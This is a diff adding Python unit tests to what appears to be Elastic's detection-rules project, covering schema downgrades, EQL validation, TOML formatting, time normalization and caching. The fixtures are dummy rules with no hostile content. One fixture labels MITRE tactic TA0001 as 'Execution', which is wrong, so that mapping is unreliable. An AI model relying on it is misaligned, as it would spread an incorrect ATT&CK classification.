TestSchemas(unittest.TestCase): + """Test schemas and downgrade functions.""" + + @classmethod + def setUpClass(cls): + cls.current_version = load_current_package_version() + + # expected contents for a downgraded rule + cls.v78_kql = { + "description": "test description", + "index": ["filebeat-*"], + "language": "kuery", + "name": "test rule", + "query": "process.name:test.query", + "risk_score": 21, + "rule_id": str(uuid.uuid4()), + "severity": "low", + "type": "query", + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + } + ], + } + ] + } + cls.v79_kql = dict(cls.v78_kql, author=["Elastic"], license="Elastic License v2") + cls.v711_kql = copy.deepcopy(cls.v79_kql) + # noinspection PyTypeChecker + cls.v711_kql["threat"][0]["technique"][0]["subtechnique"] = [{ + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + }] + # noinspection PyTypeChecker + cls.v711_kql["threat"].append({ + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + }) + + cls.v79_threshold_contents = { + "author": ["Elastic"], + "description": "test description", + "language": "kuery", + "license": "Elastic License v2", + "name": "test rule", + "query": "process.name:test.query", + "risk_score": 21, + "rule_id": str(uuid.uuid4()), + "severity": "low", + "threshold": { + "field": "destination.bytes", + "value": 75, + }, + "type": "threshold", + } + cls.v712_threshold_rule = dict(copy.deepcopy(cls.v79_threshold_contents), threshold={ + 'field': ['destination.bytes', 'process.args'], + 'value': 75, + 'cardinality': [{ + 'field': 'user.name', + 'value': 2 + }] + }) + + def test_query_downgrade_7_x(self): + """Downgrade a standard KQL rule.""" + if Version(self.current_version) > (7,): + return + + self.assertDictEqual(downgrade(self.v711_kql, "7.11"), self.v711_kql) + self.assertDictEqual(downgrade(self.v711_kql, "7.9"), self.v79_kql) + self.assertDictEqual(downgrade(self.v711_kql, "7.9.2"), self.v79_kql) + self.assertDictEqual(downgrade(self.v711_kql, "7.8.1"), self.v78_kql) + self.assertDictEqual(downgrade(self.v79_kql, "7.8"), self.v78_kql) + self.assertDictEqual(downgrade(self.v79_kql, "7.8"), self.v78_kql) + + with self.assertRaises(ValueError): + downgrade(self.v711_kql, "7.7") + + with self.assertRaises(ValueError): + downgrade(self.v79_kql, "7.7") + + with self.assertRaises(ValueError): + downgrade(self.v78_kql, "7.7", current_version="7.8") + + def test_versioned_downgrade_7_x(self): + """Downgrade a KQL rule with version information""" + if Version(self.current_version) > (7,): + return + + api_contents = self.v79_kql + self.assertDictEqual(downgrade(api_contents, "7.9"), api_contents) + self.assertDictEqual(downgrade(api_contents, "7.9.2"), api_contents) + + api_contents78 = api_contents.copy() + api_contents78.pop("author") + api_contents78.pop("license") + + self.assertDictEqual(downgrade(api_contents, "7.8"), api_contents78) + + with self.assertRaises(ValueError): + downgrade(api_contents, "7.7") + + def test_threshold_downgrade_7_x(self): + """Downgrade a threshold rule that was first introduced in 7.9.""" + if Version(self.current_version) > (7,): + return + + api_contents = self.v712_threshold_rule + self.assertDictEqual(downgrade(api_contents, '7.13'), api_contents) + self.assertDictEqual(downgrade(api_contents, '7.13.1'), api_contents) + + exc_msg = 'Cannot downgrade a threshold rule that has multiple threshold fields defined' + with self.assertRaisesRegex(ValueError, exc_msg): + downgrade(api_contents, '7.9') + + v712_threshold_contents_single_field = copy.deepcopy(api_contents) + v712_threshold_contents_single_field['threshold']['field'].pop() + + with self.assertRaisesRegex(ValueError, "Cannot downgrade a threshold rule that has a defined cardinality"): + downgrade(v712_threshold_contents_single_field, "7.9") + + v712_no_cardinality = copy.deepcopy(v712_threshold_contents_single_field) + v712_no_cardinality['threshold'].pop('cardinality') + self.assertEqual(downgrade(v712_no_cardinality, "7.9"), self.v79_threshold_contents) + + with self.assertRaises(ValueError): + downgrade(v712_no_cardinality, "7.7") + + with self.assertRaisesRegex(ValueError, "Unsupported rule type"): + downgrade(v712_no_cardinality, "7.8") + + def test_query_downgrade_8_x(self): + """Downgrade a standard KQL rule.""" + if Version(self.current_version) > (8,): + return + + def test_versioned_downgrade_8_x(self): + """Downgrade a KQL rule with version information""" + if Version(self.current_version) > (8,): + return + + def test_threshold_downgrade_8_x(self): + """Downgrade a threshold rule that was first introduced in 7.9.""" + if Version(self.current_version) > (8,): + return + + def test_eql_validation(self): + base_fields = { + "author": ["Elastic"], + "description": "test description", + "index": ["filebeat-*"], + "language": "eql", + "license": "Elastic License v2", + "name": "test rule", + "risk_score": 21, + "rule_id": str(uuid.uuid4()), + "severity": "low", + "type": "eql" + } + + def build_rule(query): + metadata = { + "creation_date": "1970/01/01", + "updated_date": "1970/01/01", + "min_stack_version": load_current_package_version() + } + data = base_fields.copy() + data["query"] = query + obj = {"metadata": metadata, "rule": data} + return TOMLRuleContents.from_dict(obj) + + build_rule(""" + process where process.name == "cmd.exe" + """) + + example_text_fields = ['client.as.organization.name.text', 'client.user.full_name.text', + 'client.user.name.text', 'destination.as.organization.name.text', + 'destination.user.full_name.text', 'destination.user.name.text', + 'error.message', 'error.stack_trace.text', 'file.path.text', + 'file.target_path.text', 'host.os.full.text', 'host.os.name.text', + 'host.user.full_name.text', 'host.user.name.text'] + for text_field in example_text_fields: + with self.assertRaises(eql.parser.EqlSchemaError): + build_rule(f""" + any where {text_field} == "some string field" + """) + + with self.assertRaises(eql.EqlSyntaxError): + build_rule(""" + process where process.name == this!is$not#v@lid + """) + + with self.assertRaises(eql.EqlSemanticError): + build_rule(""" + process where process.invalid_field == "hello world" + """) + + with self.assertRaises(eql.EqlTypeMismatchError): + build_rule(""" + process where process.pid == "some string field" + """) + + +class TestVersions(unittest.TestCase): + """Test that schema versioning aligns.""" + + def test_stack_schema_map(self): + """Test to ensure that an entry exists in the stack-schema-map for the current package version.""" + package_version = Version(load_current_package_version()) + stack_map = utils.load_etc_dump('stack-schema-map.yaml') + err_msg = f'There is no entry defined for the current package ({package_version}) in the stack-schema-map' + self.assertIn(package_version, [Version(v)[:2] for v in stack_map], err_msg) diff --git a/tests/test_toml_formatter.py b/tests/test_toml_formatter.py new file mode 100644 index 000000000..4787354fa --- /dev/null +++ b/tests/test_toml_formatter.py @@ -0,0 +1,78 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import copy +import json +import os +import unittest + +import pytoml + +from detection_rules.rule_formatter import nested_normalize, toml_write +from detection_rules.utils import get_etc_path + +tmp_file = 'tmp_file.toml' + + +class TestRuleTomlFormatter(unittest.TestCase): + """Test that the custom toml formatting is not compromising the integrity of the data.""" + with open(get_etc_path("test_toml.json"), "r") as f: + test_data = json.load(f) + + def compare_formatted(self, data, callback=None, kwargs=None): + """Compare formatted vs expected.""" + try: + toml_write(copy.deepcopy(data), tmp_file) + + with open(tmp_file, 'r') as f: + formatted_contents = pytoml.load(f) + + # callbacks such as nested normalize leave in line breaks, so this must be manually done + query = data.get('rule', {}).get('query') + if query: + data['rule']['query'] = query.strip() + + original = json.dumps(copy.deepcopy(data), sort_keys=True) + + if callback: + kwargs = kwargs or {} + formatted_contents = callback(formatted_contents, **kwargs) + + # callbacks such as nested normalize leave in line breaks, so this must be manually done + query = formatted_contents.get('rule', {}).get('query') + if query: + formatted_contents['rule']['query'] = query.strip() + + formatted = json.dumps(formatted_contents, sort_keys=True) + self.assertEqual(original, formatted, 'Formatting may be modifying contents') + + finally: + os.remove(tmp_file) + + def compare_test_data(self, test_dicts, callback=None): + """Compare test data against expected.""" + for data in test_dicts: + self.compare_formatted(data, callback=callback) + + def test_normalization(self): + """Test that normalization does not change the rule contents.""" + self.compare_test_data([nested_normalize(self.test_data[0])], callback=nested_normalize) + + def test_formatter_rule(self): + """Test that formatter and encoder do not change the rule contents.""" + self.compare_test_data([self.test_data[0]]) + + def test_formatter_deep(self): + """Test that the data remains unchanged from formatting.""" + self.compare_test_data(self.test_data[1:]) + # + # def test_format_of_all_rules(self): + # """Test all rules.""" + # rules = rule_loader.load_rules().values() + # + # for rule in rules: + # is_eql_rule = isinstance(rule.contents.data, EQLRuleData) + # self.compare_formatted( + # rule.rule_format(formatted_query=False), callback=nested_normalize, kwargs={'eql_rule': is_eql_rule}) diff --git a/tests/test_utils.py b/tests/test_utils.py new file mode 100644 index 000000000..1d86e01db --- /dev/null +++ b/tests/test_utils.py @@ -0,0 +1,103 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Test util time functions.""" +import random +import time +import unittest + +from detection_rules.utils import normalize_timing_and_sort, cached +from detection_rules.eswrap import RtaEvents +from detection_rules.ecs import get_kql_schema + + +class TestTimeUtils(unittest.TestCase): + """Test util time functions.""" + + @staticmethod + def get_events(timestamp_field='@timestamp'): + """Get test data.""" + date_formats = { + 'epoch_millis': lambda x: int(round(time.time(), 3) + x) * 1000, + 'epoch_second': lambda x: round(time.time()) + x, + 'unix_micros': lambda x: time.time() + x, + 'unix_millis': lambda x: round(time.time(), 3) + x, + 'strict_date_optional_time': lambda x: '2020-05-13T04:36:' + str(15 + x) + '.394Z' + } + + def _get_data(func): + data = [ + {timestamp_field: func(0), 'foo': 'bar', 'id': 1}, + {timestamp_field: func(1), 'foo': 'bar', 'id': 2}, + {timestamp_field: func(2), 'foo': 'bar', 'id': 3}, + {timestamp_field: func(3), 'foo': 'bar', 'id': 4}, + {timestamp_field: func(4), 'foo': 'bar', 'id': 5}, + {timestamp_field: func(5), 'foo': 'bar', 'id': 6} + ] + random.shuffle(data) + return data + + return {fmt: _get_data(func) for fmt, func in date_formats.items()} + + def assert_sort(self, normalized_events, date_format): + """Assert normalize and sort.""" + order = [e['id'] for e in normalized_events] + self.assertListEqual([1, 2, 3, 4, 5, 6], order, 'Sorting failed for date_format: {}'.format(date_format)) + + def test_time_normalize(self): + """Test normalize_timing_from_date_format.""" + events_data = self.get_events() + for date_format, events in events_data.items(): + normalized = normalize_timing_and_sort(events) + self.assert_sort(normalized, date_format) + + def test_event_class_normalization(self): + """Test that events are normalized properly within Events.""" + events_data = self.get_events() + for date_format, events in events_data.items(): + normalized = RtaEvents({'winlogbeat': events}) + self.assert_sort(normalized.events['winlogbeat'], date_format) + + def test_schema_multifields(self): + """Tests that schemas are loading multifields correctly.""" + schema = get_kql_schema(version="1.4.0") + self.assertEqual(schema.get("process.name"), "keyword") + self.assertEqual(schema.get("process.name.text"), "text") + + def test_caching(self): + """Test that caching is working.""" + counter = 0 + + @cached + def increment(*args, **kwargs): + nonlocal counter + + counter += 1 + return counter + + self.assertEqual(increment(), 1) + self.assertEqual(increment(), 1) + self.assertEqual(increment(), 1) + + self.assertEqual(increment(["hello", "world"]), 2) + self.assertEqual(increment(["hello", "world"]), 2) + self.assertEqual(increment(["hello", "world"]), 2) + + self.assertEqual(increment(), 1) + self.assertEqual(increment(["hello", "world"]), 2) + + self.assertEqual(increment({"hello": [("world", )]}), 3) + self.assertEqual(increment({"hello": [("world", )]}), 3) + + self.assertEqual(increment(), 1) + self.assertEqual(increment(["hello", "world"]), 2) + self.assertEqual(increment({"hello": [("world", )]}), 3) + + increment.clear() + self.assertEqual(increment({"hello": [("world", )]}), 4) + self.assertEqual(increment(["hello", "world"]), 5) + self.assertEqual(increment(), 6) + self.assertEqual(increment(None), 7) + self.assertEqual(increment(1), 8)